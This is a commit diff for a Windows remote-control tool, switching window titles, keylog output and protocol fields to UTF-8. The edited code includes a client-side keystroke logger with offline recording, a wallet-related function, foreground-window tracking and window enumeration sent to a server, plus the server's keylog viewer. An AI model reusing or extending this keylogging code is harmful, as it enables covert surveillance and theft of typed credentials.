i18n: UTF-8 protocol capability + Unicode rendering on server

This commit is contained in:
yuanyuanxiang
2026-05-06 16:01:16 +02:00
parent 11434653e9
commit 0aa75882d1
11 changed files with 361 additions and 40 deletions

View File

@@ -63,9 +63,34 @@ private:
if (hForegroundWindow == NULL)
return "No active window";
char windowTitle[256];
GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
return std::string(windowTitle);
// 用 W 接口取标题,再转 UTF-8避免依赖客户端系统 ANSI 代码页
wchar_t wTitle[256] = { 0 };
GetWindowTextW(hForegroundWindow, wTitle, _countof(wTitle));
if (wTitle[0] == L'\0')
return std::string();
int u8len = WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, NULL, 0, NULL, NULL);
if (u8len <= 1)
return std::string();
// 协议字段 ActiveWnd[512]UTF-8 中文最多 3 字节/字符,必要时按完整码点截断
std::string out(u8len - 1, '\0');
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, &out[0], u8len, NULL, NULL);
if (out.size() >= 511) {
out.resize(511);
// 回退到上一个完整 UTF-8 码点起始
while (!out.empty() && (static_cast<unsigned char>(out.back()) & 0xC0) == 0x80)
out.pop_back();
if (!out.empty()) {
unsigned char lead = static_cast<unsigned char>(out.back());
int need = (lead & 0x80) == 0 ? 1
: (lead & 0xE0) == 0xC0 ? 2
: (lead & 0xF0) == 0xE0 ? 3
: (lead & 0xF8) == 0xF0 ? 4 : 0;
if (need == 0) out.pop_back();
}
}
return out;
}
DWORD GetLastInputTime()

View File

@@ -76,7 +76,10 @@ CKeyboardManager1::~CKeyboardManager1()
SAFE_CLOSE_HANDLE(m_hClipboard);
SAFE_CLOSE_HANDLE(m_hWorkThread);
SAFE_CLOSE_HANDLE(m_hSendThread);
// 仅在离线记录开启时才回写磁盘;否则缓冲区随对象释放,不让 CLEAR 后的新击键意外落盘。
if (m_bIsOfflineRecord) {
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
}
delete m_Buffer;
Mprintf("~CKeyboardManager1: Stop %p\n", this);
}
@@ -129,9 +132,15 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
int CKeyboardManager1::sendStartKeyBoard()
{
BYTE bToken[2];
// 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
// 子连接没经过 LOGIN_INFOR服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
// 让客户端自己带过来,避免服务端通过 IP 反查主连接NAT/127.0.0.1 等场景反查会失败)。
// 老服务端读不到 byte 2-3 没关系(只读 byte 1向后兼容。
BYTE bToken[4];
bToken[0] = TOKEN_KEYBOARD_START;
bToken[1] = (BYTE)m_bIsOfflineRecord;
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
memcpy(bToken + 2, &caps, sizeof(WORD));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
}

View File

@@ -264,8 +264,14 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要
LPBYTE szBuffer = *(LPBYTE*)lParam;
char szTitle[1024];
memset(szTitle, 0, sizeof(szTitle));
//得到系统传递进来的窗口句柄的窗口标题
GetWindowText(hWnd, szTitle, sizeof(szTitle));
// 用 W 接口取标题再转 UTF-8 写入 szTitle避免依赖客户端 CP_ACP
// 服务端 SystemDlg::ShowWindowsList 按 UTF-8 解码后用宽字符塞进 ListCtrl。
wchar_t wTitle[1024] = {};
GetWindowTextW(hWnd, wTitle, _countof(wTitle));
if (wTitle[0]) {
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
szTitle, sizeof(szTitle), NULL, NULL);
}
//这里判断 窗口是否可见 或标题为空
BOOL m_bShowHidden = TRUE;
if (!m_bShowHidden && !IsWindowVisible(hWnd)) {

View File

@@ -94,9 +94,17 @@ int Save(int key_stroke)
}
if (foreground) {
// 用 W 接口取标题再转 UTF-8避免依赖客户端系统 ANSI 代码页:
// 老路径 GetWindowTextA 输出的字节是客户端 CP_ACP中文机=GBK
// 服务端按自己的 CP_ACP 解释会乱码(例如德语机=CP1252
char window_title[MAX_PATH] = {};
GET_PROCESS_EASY(GetWindowTextA);
GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH);
wchar_t wTitle[MAX_PATH] = {};
GET_PROCESS_EASY(GetWindowTextW);
GetWindowTextW(foreground, wTitle, MAX_PATH);
if (wTitle[0]) {
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
window_title, MAX_PATH, NULL, NULL);
}
if (strcmp(window_title, lastwindow) != 0) {
strcpy_s(lastwindow, sizeof(lastwindow), window_title);
@@ -107,7 +115,7 @@ int Save(int key_stroke)
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay,
s.wHour, s.wMinute, s.wSecond);
output << "\r\n\r\n[标题:] " << window_title << "\r\n[时间:]" << tm << "\r\n[内容:]";
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Content:]";
}
}

View File

@@ -126,6 +126,8 @@ inline int isValid_10s()
// 客户端能力位
#define CLIENT_CAP_V2 0x0001 // 支持 V2 文件传输
#define CLIENT_CAP_UTF8 0x0002 // 协议字符串字段统一使用 UTF-8 编码(活动窗口、窗口列表、键盘记录中的窗口标题等)
// 无此位 = 老客户端,按系统 ANSI默认 CP936解读
#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度
@@ -916,7 +918,7 @@ typedef struct LOGIN_INFOR {
{
memset(this, 0, sizeof(LOGIN_INFOR));
bToken = TOKEN_LOGIN;
sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2);
sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2 | CLIENT_CAP_UTF8);
}
LOGIN_INFOR& Speed(unsigned long speed)
{

View File

@@ -175,6 +175,20 @@ bool SupportsFileTransferV2(context* ctx) {
return IsDateGreaterOrEqual(version, FILE_TRANSFER_V2_DATE);
}
// 获取客户端协议字符串编码优先看自身能力位若是子连接CAPABILITIES 为空)
// 则通过 peer IP 查主连接。找不到则默认 CP936。
UINT GetClientEncoding(context* ctx) {
if (!ctx) return 936;
// 主连接情形CAPABILITIES 已由 LOGIN_INFOR 处理流程填好
if (ctx->SupportsUtf8()) return CP_UTF8;
// 子连接情形CAPABILITIES 为空 -> 通过 IP 找主连接
if (g_2015RemoteDlg) {
context* mainCtx = g_2015RemoteDlg->FindHostByIP(ctx->GetPeerName());
if (mainCtx && mainCtx->SupportsUtf8()) return CP_UTF8;
}
return 936;
}
// 授权日志频率控制:首次必须记录,状态变化必须记录,相同状态每小时记录一次
static bool ShouldLogAuth(const std::string& sn, int success) {
struct AuthLogState {
@@ -722,6 +736,9 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_WM_CLOSE()
ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline)
ON_NOTIFY(LVN_GETDISPINFO, IDC_ONLINE, &CMy2015RemoteDlg::OnGetDispInfo)
// 启用 LVM_SETUNICODEFORMAT 后,列表实际发送的是 LVN_GETDISPINFOW即便工程是 MBCS
// MBCS 工程里 LVN_GETDISPINFO == LVN_GETDISPINFOA两者码值不同需各自映射。
ON_NOTIFY(LVN_GETDISPINFOW, IDC_ONLINE, &CMy2015RemoteDlg::OnGetDispInfoW)
ON_NOTIFY(HDN_ITEMCLICK, 0, &CMy2015RemoteDlg::OnHdnItemclickList)
ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage)
ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete)
@@ -1127,13 +1144,23 @@ VOID CMy2015RemoteDlg::CreatStatusBar()
VOID CMy2015RemoteDlg::CreateNotifyBar()
{
// GUID 用于 Windows 10/11 Toast 通知关联托盘图标
// {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}
static const GUID NOTIFY_ICON_GUID =
{ 0xA1B2C3D4, 0xE5F6, 0x7890, { 0xAB, 0xCD, 0xEF, 0x12, 0x34, 0x56, 0x78, 0x90 } };
m_Nid.uVersion = NOTIFYICON_VERSION_4;
m_Nid.cbSize = sizeof(NOTIFYICONDATA); //大小赋值
m_Nid.hWnd = m_hWnd; //父窗口 是被定义在父类CWnd类中
m_Nid.uID = IDR_MAINFRAME; //icon ID
m_Nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP; //托盘所拥有的状态
m_Nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP | NIF_GUID; //托盘所拥有的状态
m_Nid.uCallbackMessage = UM_ICONNOTIFY; //回调消息
m_Nid.hIcon = m_hIcon; //icon 变量
m_Nid.guidItem = NOTIFY_ICON_GUID;
// 先删除可能残留的旧图标(程序异常退出时可能残留)
Shell_NotifyIcon(NIM_DELETE, &m_Nid);
CString strTips = _TR(BRAND_TRAY_TIP); //气泡提示
lstrcpyn(m_Nid.szTip, (LPCSTR)strTips, sizeof(m_Nid.szTip) / sizeof(m_Nid.szTip[0]));
Shell_NotifyIcon(NIM_ADD, &m_Nid); //显示托盘
@@ -1251,6 +1278,9 @@ VOID CMy2015RemoteDlg::InitControl()
g_Column_Online_Width+=g_Column_Data_Online[i].nWidth;
}
m_CList_Online.InitColumns();
// 让虚拟列表用 Unicode 通知LVN_GETDISPINFOW从而绕开 MBCS 工程里
// 列表 → ANSI → CP_ACP 的回转,这样在德语/日语等非中文 ACP 服务端上也能显示中文。
m_CList_Online.SendMessage(LVM_SETUNICODEFORMAT, TRUE, 0);
m_CList_Online.ModifyStyle(0, LVS_SHOWSELALWAYS); // LVS_OWNERDATA 由 SetVirtualMode 设置
m_CList_Online.SetExtendedStyle(style);
m_CList_Online.SetParent(&m_GroupTab);
@@ -1429,7 +1459,8 @@ LRESULT CMy2015RemoteDlg::OnShowNotify(WPARAM wParam, LPARAM lParam)
NOTIFYICONDATA nidCopy = m_Nid;
nidCopy.cbSize = sizeof(NOTIFYICONDATA);
nidCopy.uFlags |= NIF_INFO;
nidCopy.dwInfoFlags = NIIF_INFO;
nidCopy.dwInfoFlags = NIIF_USER | NIIF_LARGE_ICON; // 使用自定义图标
nidCopy.hBalloonIcon = m_hIcon; // 设置气球提示图标
lstrcpynA(nidCopy.szInfoTitle, title->data, sizeof(nidCopy.szInfoTitle));
lstrcpynA(nidCopy.szInfo, text->data, sizeof(nidCopy.szInfo));
nidCopy.uTimeout = 3000;
@@ -3500,6 +3531,84 @@ void CMy2015RemoteDlg::OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult)
*pResult = 0;
}
// 虚拟列表数据回调W 版) - 列表启用 LVM_SETUNICODEFORMAT 后由系统改发此通知。
// 工程仍是 MBCSCString 内部仍按 CP_ACP这里把要显示的列统一转成宽字符填回
// 让控件直接以 Unicode 渲染,从而在非中文 ACP 服务端上也能正确显示中文。
void CMy2015RemoteDlg::OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult)
{
NMLVDISPINFOW* pDispInfo = reinterpret_cast<NMLVDISPINFOW*>(pNMHDR);
LVITEMW* pItem = &pDispInfo->item;
int iItem = pItem->iItem;
CLock lock(m_cs);
if (iItem < 0 || iItem >= (int)m_FilteredIndices.size()) {
*pResult = 0;
return;
}
size_t realIdx = m_FilteredIndices[iItem];
if (realIdx >= m_HostList.size()) {
*pResult = 0;
return;
}
context* ctx = m_HostList[realIdx];
if (!ctx) {
*pResult = 0;
return;
}
if ((pItem->mask & LVIF_TEXT) && pItem->pszText && pItem->cchTextMax > 0) {
std::wstring wtext;
int nCol = pItem->iSubItem;
if (nCol == ONLINELIST_LOGINTIME) {
// "活动窗口"列:心跳到达后用旁路表里的宽字符串(已正确解码);
// 心跳到达前 m_ActiveWndW 还没条目,回退到 CString —— AddList 给这一列
// 填的是 startTime启动时间纯 ASCII按 CP_ACP 转宽显示,行为与
// 原 A 版回调一致。
auto it = m_ActiveWndW.find(ctx->GetClientID());
if (it != m_ActiveWndW.end()) {
wtext = it->second;
} else {
CString text = ctx->GetClientData(nCol);
if (!text.IsEmpty()) {
int wlen = MultiByteToWideChar(CP_ACP, 0, text, -1, NULL, 0);
if (wlen > 0) {
wtext.resize(wlen - 1);
MultiByteToWideChar(CP_ACP, 0, text, -1, &wtext[0], wlen);
}
}
}
if (wtext.empty()) wtext = L"?";
} else {
// 其它列CString 仍是 ANSICP_ACP按 CP_ACP 转宽供控件显示
CString text;
if (nCol == ONLINELIST_COMPUTER_NAME) {
CString note = m_ClientMap->GetClientMapData(ctx->GetClientID(), MAP_NOTE);
text = !note.IsEmpty() ? note : ctx->GetClientData(nCol);
} else {
text = ctx->GetClientData(nCol);
if (text.IsEmpty()) text = "?";
}
int wlen = MultiByteToWideChar(CP_ACP, 0, text, -1, NULL, 0);
if (wlen > 0) {
wtext.resize(wlen - 1);
MultiByteToWideChar(CP_ACP, 0, text, -1, &wtext[0], wlen);
}
}
// 安全拷贝到控件提供的缓冲区
int copy = (int)wtext.size();
if (copy > pItem->cchTextMax - 1) copy = pItem->cchTextMax - 1;
if (copy > 0) {
wmemcpy(pItem->pszText, wtext.c_str(), copy);
}
pItem->pszText[copy] = L'\0';
}
*pResult = 0;
}
void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
@@ -5525,6 +5634,8 @@ bool CMy2015RemoteDlg::RemoveFromHostList(context* ctx)
if (WebService().IsRunning()) {
WebService().MarkDeviceOffline(clientID);
}
// 清理"活动窗口"列的宽字符旁路表
m_ActiveWndW.erase(clientID);
// 方案1通过索引快速查找如果索引有效且匹配
auto indexIt = m_ClientIndex.find(clientID);
@@ -5942,10 +6053,25 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
if (id) {
bool changed = false;
// 只在数据变化时标记 dirty
// 注hb.ActiveWnd 编码由客户端能力位 CLIENT_CAP_UTF8 决定(登录时已识别)。
// CString 这里仍然按字节存原始数据,仅用于 "Locked:"/"Inactive:" 等 ASCII 前缀比较;
// 真正显示走 m_ActiveWndW + LVN_GETDISPINFOW。
CString oldActiveWnd = ctx->GetClientData(ONLINELIST_LOGINTIME);
if (oldActiveWnd != hb.ActiveWnd) {
ctx->SetClientData(ONLINELIST_LOGINTIME, hb.ActiveWnd);
changed = true;
// 按客户端声明的编码解码:新客户端 UTF-8老客户端 CP936默认兜底
std::wstring wActive;
if (hb.ActiveWnd[0]) {
UINT cp = GetClientEncoding(host);
int wlen = MultiByteToWideChar(cp, 0, hb.ActiveWnd, -1, NULL, 0);
if (wlen > 0) {
wActive.resize(wlen - 1);
MultiByteToWideChar(cp, 0, hb.ActiveWnd, -1, &wActive[0], wlen);
}
}
m_ActiveWndW[clientID] = std::move(wActive);
}
if (hb.Ping > 0) {
CString newPing = std::to_string(hb.Ping).c_str();
@@ -5966,19 +6092,16 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
// Notify web clients of device update
if (WebService().IsRunning()) {
std::string rtt = hb.Ping > 0 ? std::to_string(hb.Ping) : "";
// Convert ANSI to UTF-8 for web
// Web 端要 UTF-8直接用旁路表里的宽字符再编一次 UTF-8
// 这样无论客户端原本是 UTF-8 还是 GBK发给 Web 都是 UTF-8。
std::string activeWnd;
CString csActiveWnd(hb.ActiveWnd);
if (!csActiveWnd.IsEmpty()) {
int wlen = MultiByteToWideChar(CP_ACP, 0, csActiveWnd, -1, NULL, 0);
if (wlen > 0) {
std::wstring wstr(wlen - 1, L'\0');
MultiByteToWideChar(CP_ACP, 0, csActiveWnd, -1, &wstr[0], wlen);
int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
auto it = m_ActiveWndW.find(clientID);
if (it != m_ActiveWndW.end() && !it->second.empty()) {
const std::wstring& w = it->second;
int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
if (u8len > 0) {
activeWnd.resize(u8len - 1);
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &activeWnd[0], u8len, NULL, NULL);
}
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWnd[0], u8len, NULL, NULL);
}
}
WebService().NotifyDeviceUpdate(clientID, rtt, activeWnd);

View File

@@ -96,6 +96,14 @@ extern CMy2015RemoteDlg* g_2015RemoteDlg;
// 注意m_bEnableFileV2 是 CMy2015RemoteDlg 的成员变量
bool SupportsFileTransferV2(context* ctx);
// 获取客户端协议字符串编码 (CP_UTF8 或 936)。
// 适用于任意 context
// - 主连接:直接读自身的 CAPABILITIES
// - 子连接KeyBoardDlg / SystemDlg / FileManagerDlg 等CAPABILITIES 为空,
// 通过 peer IP 查 m_HostList 中的主连接获取能力位
// 找不到主连接或老客户端:默认 CP936覆盖 95% 简中/英语 ASCII 老客户端)。
UINT GetClientEncoding(context* ctx);
// 服务端待续传的传输信息
struct PendingTransferV2 {
uint64_t clientID;
@@ -344,7 +352,13 @@ public:
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnExitSizeMove();
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调
afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调A 版,备用)
afx_msg void OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调W 版,启用 LVM_SETUNICODEFORMAT 后实际触发的)
// "活动窗口"列的宽字符旁路表clientID -> Unicode 标题。
// 协议字段 hb.ActiveWnd 已约定为 UTF-8老客户端 GBK 回退),由服务端解码后存入。
// 由 m_cs 保护。
std::map<uint64_t, std::wstring> m_ActiveWndW;
afx_msg void OnOnlineMessage();
afx_msg void OnOnlineDelete();
afx_msg void OnOnlineUpdate();

View File

@@ -3,7 +3,9 @@
#include "stdafx.h"
#include <WinUser.h>
#include <string>
#include "KeyBoardDlg.h"
#include "2015RemoteDlg.h" // GetClientEncoding helper
#ifdef _DEBUG
#define new DEBUG_NEW
@@ -22,7 +24,18 @@ static char THIS_FILE[] = __FILE__;
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
{
m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1];
m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
// 子连接从协议扩展字段byte 2-3拿到能力位写入自身的 CAPABILITIES。
// 这样 m_ContextObject->SupportsUtf8() 可直接生效,不再依赖 IP 反查主连接。
// 老客户端只发 2 字节GetBYTE 越界返回 0等同 caps=0 -> 走 CP936 兜底,向后兼容。
WORD caps = m_ContextObject->m_DeCompressionBuffer.GetBYTE(2)
| (m_ContextObject->m_DeCompressionBuffer.GetBYTE(3) << 8);
if (caps != 0) {
CString capStr;
capStr.Format(_T("%04X"), caps);
m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
}
}
@@ -73,6 +86,32 @@ BOOL CKeyBoardDlg::OnInitDialog()
UpdateTitle();
// -----------------------------------------------------------------
// 把 m_edit 重建为 Unicode 类窗口。
// 工程是 MBCSMFC 默认用 A 版 CreateWindowEx 创建子控件,导致即便
// 调 SendMessageW(EM_REPLACESEL,...) 系统也会在 W->A 边界用 CP_ACP
// 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
// 后,控件内部以 Unicode 存储W 版消息直通,不再走 CP_ACP。
// -----------------------------------------------------------------
{
CRect rc;
m_edit.GetWindowRect(&rc);
ScreenToClient(&rc);
DWORD style = m_edit.GetStyle();
DWORD exStyle = m_edit.GetExStyle();
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
UINT ctrlID = m_edit.GetDlgCtrlID();
m_edit.DestroyWindow();
HWND hEdit = ::CreateWindowExW(
exStyle, L"EDIT", L"", style,
rc.left, rc.top, rc.Width(), rc.Height(),
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
AfxGetInstanceHandle(), NULL);
m_edit.Attach(hEdit);
if (hFont)
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
}
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
// 通知远程控制端对话框已经打开
@@ -110,9 +149,33 @@ void CKeyBoardDlg::AddKeyBoardData()
{
// 最后填上0
m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
int len = m_edit.GetWindowTextLength();
m_edit.SetSel(len, len);
m_edit.ReplaceSel((TCHAR *)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1));
const char* utf8 = (const char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1);
if (!utf8 || !utf8[0])
return;
// 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
// 注意m_ContextObject 是键盘记录子连接,其自身 CAPABILITIES 为空;
// helper 内部通过 peer IP 查主连接获取真正的能力位。
UINT cp = GetClientEncoding(m_ContextObject);
int wlen = MultiByteToWideChar(cp, 0, utf8, -1, NULL, 0);
if (wlen <= 1)
return;
std::wstring wbuf(wlen - 1, L'\0');
MultiByteToWideChar(cp, 0, utf8, -1, &wbuf[0], wlen);
// 全程走 W 版消息直通 Unicode 控件。注意几个坑:
// 1) MFC 的 m_edit.SetSel(...) 默认走 ::SendMessage (A 版) 并紧跟一次
// EM_SCROLLCARET时序变成 "SetSel→ScrollCaret→ReplaceSel",即
// 先滚到旧末尾、再插入,部分场景控件状态会错乱(光标不在末尾、
// 用户手动移动光标后插入位置不对等)。
// 2) EM_SETSEL 用 0x7FFFFFFF 表示"末尾",由控件自行 clamp 到当前长度,
// 不依赖 WM_GETTEXTLENGTH 计算结果。
// 3) ReplaceSel 后再 ScrollCaret确保滚到 *新* 末尾。
HWND hEdit = m_edit.GetSafeHwnd();
if (!hEdit) return;
::SendMessageW(hEdit, EM_SETSEL, (WPARAM)0x7FFFFFFF, (LPARAM)0x7FFFFFFF);
::SendMessageW(hEdit, EM_REPLACESEL, FALSE, (LPARAM)wbuf.c_str());
::SendMessageW(hEdit, EM_SCROLLCARET, 0, 0);
}
bool CKeyBoardDlg::SaveRecord()
@@ -129,10 +192,30 @@ bool CKeyBoardDlg::SaveRecord()
MessageBox(msg, _TR("提示"), MB_ICONINFORMATION);
return false;
}
// Write the DIB header and the bits
CString strRecord;
m_edit.GetWindowText(strRecord);
file.Write(strRecord, strRecord.GetLength());
// m_edit 已是 Unicode 控件:用 W 版取宽字符串,转 UTF-8 写入并加 BOM。
// 这样保存的文件无视服务端 ACP记事本/VS Code 等都能自动识别。
int wlen = ::GetWindowTextLengthW(m_edit.GetSafeHwnd());
std::wstring wbuf;
if (wlen > 0) {
wbuf.resize(wlen);
::GetWindowTextW(m_edit.GetSafeHwnd(), &wbuf[0], wlen + 1);
}
// UTF-8 BOM
const BYTE bom[3] = { 0xEF, 0xBB, 0xBF };
file.Write(bom, 3);
if (!wbuf.empty()) {
int u8len = WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
NULL, 0, NULL, NULL);
if (u8len > 0) {
std::string u8(u8len, '\0');
WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
&u8[0], u8len, NULL, NULL);
file.Write(u8.data(), (UINT)u8.size());
}
}
file.Close();
return true;
@@ -156,7 +239,8 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
} else if (nID == IDM_CLEAR_RECORD) {
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
m_ContextObject->Send2Client(&bToken, 1);
m_edit.SetWindowText("");
// m_edit 是 Unicode 类控件,调 W 版避免 CP_ACP 边界转换
::SetWindowTextW(m_edit.GetSafeHwnd(), L"");
} else if (nID == IDM_SAVE_RECORD) {
SaveRecord();
} else {

View File

@@ -3,6 +3,7 @@
#include "stdafx.h"
#include "2015Remote.h"
#include "2015RemoteDlg.h" // GetClientEncoding helper
#include "SystemDlg.h"
#include "afxdialogex.h"
@@ -85,6 +86,8 @@ BOOL CSystemDlg::OnInitDialog()
m_ControlList.InsertColumnL(1, "窗口名称", LVCFMT_LEFT, 420);
m_ControlList.InsertColumnL(2, "窗口状态", LVCFMT_LEFT, 200);
m_ControlList.InsertColumnL(3, "所属进程ID", LVCFMT_LEFT, 100);
// 工程是 MBCS但下面"窗口名称"列里的标题需要原样显示客户端 UTF-8 内容,
// 直接用 LVM_SETITEMTEXTW 写宽字符串(无须依赖控件 Unicode 标志)。
ShowWindowsList();
}
@@ -170,6 +173,11 @@ void CSystemDlg::ShowWindowsList(void)
char *szTitle = NULL;
bool isDel=false;
// 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
// 注意m_ContextObject 是 WSLIST 子连接,其自身 CAPABILITIES 为空;
// helper 内部通过 peer IP 查主连接获取真正的能力位。
UINT cp = GetClientEncoding(m_ContextObject);
DeleteAllItems();
CString str;
int i ;
@@ -181,10 +189,28 @@ void CSystemDlg::ShowWindowsList(void)
str.FormatL("%5u", *lpPID);
CString pidStr = attrs.dwPid ? std::to_string(attrs.dwPid).c_str() : "N/A";
m_ControlList.InsertItem(i, str); // 句柄
m_ControlList.SetItemText(i, 1, attrs.szTitle); // 标题
m_ControlList.SetItemText(i, 2, attrs.szStatus); // 窗口状态
m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID
// ItemData 为窗口句柄
// 按客户端声明的编码解码到宽字符,用 LVM_SETITEMTEXTW 直接写入,
// 绕开 ANSI -> CP_ACP 回转,即使在德语等非中文 ACP 服务端上中文窗口名也能正常显示。
std::wstring wTitle;
if (attrs.szTitle[0]) {
int wlen = MultiByteToWideChar(cp, 0, attrs.szTitle, -1, NULL, 0);
if (wlen > 0) {
wTitle.resize(wlen - 1);
MultiByteToWideChar(cp, 0, attrs.szTitle, -1, &wTitle[0], wlen);
}
}
LVITEMW lvItemW = {};
lvItemW.mask = LVIF_TEXT;
lvItemW.iItem = i;
lvItemW.iSubItem = 1;
lvItemW.pszText = wTitle.empty() ? const_cast<LPWSTR>(L"") : &wTitle[0];
::SendMessageW(m_ControlList.GetSafeHwnd(), LVM_SETITEMTEXTW,
(WPARAM)i, (LPARAM)&lvItemW);
m_ControlList.SetItemText(i, 2, attrs.szStatus); // 窗口状态 (ASCII)
m_ControlList.SetItemText(i, 3, pidStr); // 所属进程ID (ASCII)
// ItemData 为窗口句柄Data[1] 保留原始 UTF-8 字节供排序/右键菜单使用
auto data = new ItemData{ *lpPID, {str, attrs.szTitle, attrs.szStatus, pidStr} };
m_ControlList.SetItemData(i, (DWORD_PTR)data); //(d)
dwOffset += sizeof(DWORD) + lstrlen(szTitle) + 1;

View File

@@ -1468,8 +1468,24 @@ std::string CWebService::BuildDeviceListJson(const std::string& username) {
CString version = ctx->GetClientData(ONLINELIST_VERSION);
device["version"] = AnsiToUtf8(version);
// 活动窗口编码由客户端能力位决定:新客户端是 UTF-8老客户端是 CP_ACP默认 936
// 不能像其它字段那样无脑 AnsiToUtf8——会把新客户端的 UTF-8 字节再当 GBK 双重编码。
CString activeWindow = ctx->GetClientData(ONLINELIST_LOGINTIME);
device["activeWindow"] = AnsiToUtf8(activeWindow);
std::string activeWindowU8;
if (!activeWindow.IsEmpty()) {
UINT cp = GetClientEncoding(ctx);
int wlen = MultiByteToWideChar(cp, 0, activeWindow, -1, NULL, 0);
if (wlen > 1) {
std::wstring w(wlen - 1, L'\0');
MultiByteToWideChar(cp, 0, activeWindow, -1, &w[0], wlen);
int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
if (u8len > 1) {
activeWindowU8.resize(u8len - 1);
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWindowU8[0], u8len, NULL, NULL);
}
}
}
device["activeWindow"] = activeWindowU8;
device["online"] = true;
// Add device group to response

View File

@@ -60,4 +60,12 @@ public:
if (caps.IsEmpty()) return false;
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_V2) != 0;
}
// 检查客户端是否使用 UTF-8 协议字符串编码。
// 无此能力位的老客户端:服务端按 CP_ACPCP936覆盖 95% 的简中/英语 ASCII 老客户端)解读。
bool SupportsUtf8() const {
CString caps = GetClientData(ONLINELIST_CAPABILITIES);
if (caps.IsEmpty()) return false;
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_UTF8) != 0;
}
};